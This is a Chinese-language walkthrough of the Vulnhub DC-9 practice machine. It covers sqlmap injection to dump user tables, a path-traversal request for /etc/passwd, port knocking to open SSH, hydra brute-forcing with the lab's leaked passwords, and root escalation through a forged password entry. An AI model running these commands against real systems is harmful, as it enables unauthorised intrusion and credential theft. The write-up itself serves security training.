【Vulnhub】DC-9

信息收集

只开了两个端口，22和80，访问网站，不是框架

逛了一下，功能就是显示员工信息，有模糊查询，有登录
看来看去也就查询页有可能有漏洞，登录页连用户名都不知道不可能直接爆破，那花的时间太长了，查询页最可能就是sql注入漏洞
post提交方式，search变量

网站渗透

sqlmap -u 'http://192.168.83.141/results.php' --data 'search=1' --dbs --batch
判断是否有post方式的注入
--data post方式提交

search就是注入点

然后一把嗦

sqlmap -u 'http://192.168.83.141/results.php' --data 'search=1' -D Staff --tables --batch
sqlmap -u 'http://192.168.83.141/results.php' --data 'search=1' -D Staff -T Users --dump --batch
856f5de590ef37314e7c3bdf6f8a66dc | admin  

看着像MD5，解密一下
很多网站这个是付费的，这个免费https://www.somd5.com/
transorbital1

登录一下,多了这一页

这个页面是添加员工信息的，看能不能写一段php代码进去解析掉
试过了，并不能写进去只会被注释掉,不知道什么原理

看第二个点

File does not exist

文件包含,尝试一下

http://192.168.83.141/manage.php/?file=../../../../../../../etc/passwd

后面我也不会了

ssh

因为nmap扫描到有22端口，但是流量都被过滤了，怀疑有knockd服务
knockd服务，即端口敲门服务，该服务通过动态的添加iptables规则来隐藏系统开启的服务，使用自定义的一系列序列号来“敲门”，使系统开启需要访问的服务端口，才能对外访问。不使用时，再使用自定义的序列号来“关门”，将端口关闭，不对外监听。进一步提升了服务和系统的安全性。一般配置文件在/etc/knockd.conf中，所以尝试读取一下文件，确实存在该配置

 使用kali系统下的knockd工具：
安装:
sudo apt install -y knockd
敲门：
knock 192.168.83.141 7469 8475 9842
验证
nmap -p 22 192.168.83.141

然后靶机的ssh就open了

sql注入：数据库user下有一个UserDetails表里面有用户名和密码，得到用户名密码字典用hydra爆破

hydra -L username.txt -P password.txt ssh://192.168.83.141

±—±-----------±--------------±--------------------±----------±----------+
| id | lastname | password | reg_date | username | firstname |
±—±-----------±--------------±--------------------±----------±----------+
| 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
±—±-----------±--------------±--------------------±----------±----------+

[22][ssh] host: 192.168.232.136 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.232.136 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.232.136 login: janitor password: Ilovepeepee

用ssh登录

ssh username@192.168.83.141

有一个隐藏目录，里面放了一个密码文件，在去hydra爆破一下

[22][ssh] host: 192.168.232.136 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.232.136 login: fredf password: B4-Tru3-001

再次登录，fredf 账户能以root权限操作

打开是部分乱码，看不懂，上两级有一个test.py
大概就是将参数1的内容写入参数2中，接下来尝试进行提权。
用openssl工具创建一个本地的加密用户

openssl passwd -1 -salt admin admin
-1 #使用md5加密算法
-salt #自动锚入一个随机参数作为文件内容加密

然后切换admin账户，是root权限，读取flag

总结

这个靶机难很多，前面网站渗透还能行，主要是跨度太大很难想到正确解决方法